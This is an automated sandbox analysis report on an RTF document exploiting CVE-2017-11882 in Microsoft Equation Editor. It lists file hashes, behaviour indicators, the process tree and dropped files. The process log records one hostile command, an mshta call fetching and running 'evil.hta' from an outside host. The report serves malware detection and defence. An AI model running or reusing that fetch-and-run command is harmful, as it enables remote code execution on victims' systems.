analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

vuln.doc

Full analysis: https://app.any.run/tasks/0d3c8169-ea01-4b50-ba6c-c6e0f6668851
Verdict: Malicious activity
Analysis date: September 30, 2020, 05:30:31
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ole-embedded
exploit
CVE-2017-11882
Indicators:
MIME: text/rtf
File info: Rich Text Format data, version 1, ANSI
MD5:

C861815CF77A7CD92950203B25A9330C

SHA1:

938DBA831B59330D02105C7CDF1DF86F87B1CC02

SHA256:

9D97BBB0529BE7956B1338C503B0DD1775BA0067F7C5874CA8C89FEE9A2F241F

SSDEEP:

48:Mp54iWuutGfEjNMtvbDSj3xMa27983O/phyD9LhQQQzQUAUxNhHb11gb90RCZNyi:MwuUG5VoWx2oyRFVS1E9fNDHy4h/1N/

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 1012)
  • SUSPICIOUS

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • EQNEDT32.EXE (PID: 1012)
    • Executed via COM

      • EQNEDT32.EXE (PID: 1012)
    • Reads Internet Cache Settings

      • mshta.exe (PID: 1488)
  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2240)
    • Creates files in the user directory

      • WINWORD.EXE (PID: 2240)
    • Reads internet explorer settings

      • mshta.exe (PID: 1488)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.rtf | Rich Text Format (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
39
Monitored processes
3
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start winword.exe no specs eqnedt32.exe mshta.exe

Process information

PID
CMD
Path
Indicators
Parent process
2240"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\vuln.doc.rtf"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
1012"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
1488mshta http://192.168.88.107:81/evil.htaC:\Windows\system32\mshta.exe
EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Total events
1 625
Read events
900
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
0
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2240WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRC516.tmp.cvr
MD5:
SHA256:
2240WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$ln.doc.rtfpgc
MD5:F85064DAE88F5D57620F55B73C7D9945
SHA256:9D580CE77CE058C78F8C5BA7497E98EFA214491FED69BD7E0769DD937947F647
2240WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:5FD89F6ABC7E99E9756116519F685FF2
SHA256:2486464A8327653CB649DC04DDB23DEA6E2505D48B9CE326D27ADBA44029A441
2240WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C4DDE66C.wmfwmf
MD5:975B76E8E77D57CC386AF977A08B1E31
SHA256:8D80E9B9B39CD00F3BFADB3B2538DC46845FE8D0E7854D5DD9C9C381150DEDAD
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
0
DNS requests
0
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

No data

DNS requests

No data

Threats

No threats detected
No debug info